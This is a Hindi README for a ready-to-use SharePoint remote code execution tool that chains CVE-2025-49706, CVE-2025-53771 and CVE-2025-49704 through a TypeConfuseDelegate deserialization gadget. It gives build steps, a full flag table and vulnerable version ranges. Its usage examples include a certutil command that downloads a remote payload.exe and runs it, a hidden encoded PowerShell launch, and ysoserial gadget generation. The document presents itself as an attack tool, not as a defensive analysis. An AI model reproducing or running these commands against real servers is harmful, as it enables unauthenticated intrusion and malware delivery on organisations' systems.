
क्या आप सच में सोचते हैं कि SharePoint सुरक्षित है?
स्व-निहित, एकल-बाइनरी SharePoint RCE टूल। एक TypeConfuseDelegate गैजेट चेन को रॉ MS-NRBF बाइट्स के रूप में उत्पन्न करता है (कोई ysoserial.exe नहीं), इसे DataSet डिसीरियलाइज़ेशन पेलोड में लपेटता है, और प्रमाणीकरण बायपास का उपयोग करके HTTP पर डिलीवर करता है—सब एक ही शॉट में।
| चरण | CVE | विवरण |
|---|
| 1 | CVE-2025-49706 | प्रमाणीकरण बायपास — Referer: /_layouts/SignOut.aspx SharePoint प्रमाणीकरण को छोड़ देता है |
| 2 | CVE-2025-53771 | पैच बायपास — ToolPane.aspx के बाद अनुगामी पथ खंड जुलाई 2025 फिक्स से बचता है |
| 3 | CVE-2025-49704 | डिसीरियलाइज़ेशन — ExcelDataSet.CompressedDataTable एक क्राफ्टेड DataSet पर BinaryFormatter को ट्रिगर करता है |
| 4 | — | DataSet स्कीमा ExpandedWrapper + ObjectDataProvider के माध्यम से आंतरिक पेलोड पर LosFormatter.Deserialize() को बाध्य करता है |
| 5 | — | TypeConfuseDelegate — SortedSet<string> तुलनित्र Process.Start(string, string) है, cmd /c <command> निष्पादित करता है |
संपूर्ण बाइनरी स्ट्रीम (बाहरी DataSet रैपर और आंतरिक TypeConfuseDelegate गैजेट दोनों) को रॉ MS-NRBF रिकॉर्ड के रूप में बनाया गया है—कोई .NET रनटाइम सीरियलाइज़ेशन उपयोग नहीं किया गया है। यह Metasploit मॉड्यूल द्वारा उत्पादित प्रारूप से बाइट-दर-बाइट मेल खाता है।
.NET Framework 4.8 SDK (Visual Studio 2022 या स्टैंडअलोन Build Tools) आवश्यक है:
& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release
आउटपुट: OurSharePoint\bin\Release\OurSharePoint.exe (एकल फ़ाइल, कोई निर्भरता नहीं)
OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com
OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com
OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com
OurSharePoint.exe --target=https://sp.corp.com --check
OurSharePoint.exe --cmd="calc.exe" --out=exploit
OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com
| फ़्लैग | विवरण | डिफ़ॉल्ट |
|---|---|---|
--cmd=COMMAND | निष्पादित करने के लिए कमांड (cmd /c COMMAND के रूप में चलता है) | — |
--in=FILE | पूर्व-निर्मित बेस64 LosFormatter पेलोड फ़ाइल | — |
--target=URL | HTTP डिलीवरी के लिए SharePoint बेस URL | — |
--check | केवल संस्करण फ़िंगरप्रिंट, कोई पेलोड नहीं | — |
--out=PREFIX | आउटपुट फ़ाइल उपसर्ग | payload |
--sp-version=VER | Layouts पथ संस्करण (15 या 16) | 15 |
--proxy=URL | HTTP प्रॉक्सी | — |
--ua=STRING | कस्टम User-Agent | Firefox 120 |
--referer=URL | प्रमाणीकरण-बायपास Referer को ओवरराइड करें | स्वचालित |
--timeout=SEC | HTTP टाइमआउट | 15 |
--a/b/c=NAME | DataSet/तत्व/स्तंभ नाम | यादृच्छिक |
जब --out उपयोग किया जाता है, तो टूल लिखता है:
| फ़ाइल | सामग्री |
|---|---|
<prefix>.bin | रॉ BinaryFormatter DataSet स्ट्रीम |
<prefix>.b64 | GZip + Base64 एन्कोडेड (जो CompressedDataTable में जाता है) |
| संस्करण | कमजोर श्रेणी |
|---|---|
| SharePoint Server सब्सक्रिप्शन एडिशन | 16.0.14326.20450 – 16.0.18526.20424 |
| SharePoint Server 2019 | 16.0.10337.12109 – 16.0.10417.20027 |
| SharePoint Enterprise Server 2016 | 16.0.4351.1000 – 16.0.5508.1000 |
| SharePoint Server 2013 | 15.0.4481.1005 – 15.0.5545.1000 |
BinaryWriter का उपयोग करके रॉ MS-NRBF बाइनरी रिकॉर्ड के रूप में लिखा गया है। यह .NET रनटाइम सीरियलाइज़ेशन आउटपुट और लक्ष्य डिसीरियलाइज़र की अपेक्षा के बीच अंतर से बचता है।LosFormatter.Serialize() का उपयोग करने के बजाय ObjectStateFormatter हेडर बाइट्स (0xFF 0x01 0x32 + 7-बिट लंबाई) के साथ लपेटा गया है।